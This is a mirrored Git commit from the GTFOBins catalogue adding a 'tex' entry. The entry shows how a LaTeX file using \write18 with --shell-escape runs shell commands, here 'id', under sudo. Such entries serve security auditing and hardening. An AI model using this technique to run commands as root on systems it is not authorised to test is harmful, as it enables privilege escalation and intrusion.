1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00

Create tex.md

Add tex.
This commit is contained in:
SynackCerv 2021-04-22 22:13:08 +02:00 committed by GitHub
parent 85010470b2
commit 8c08101fed
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

6
_gtfobins/tex.md Normal file
View File

@ -0,0 +1,6 @@
description: `tex` has a similar behaviour as [`pdftex`](/gtfobins/pdftex/)
functions:
sudo:
- code: |
echo "\documentclass[12pt]{article} \begin{document} \write18{/usr/bin/id} \end{document}" > file.tex
tex -interaction=nonstopmode --shell-escape file.tex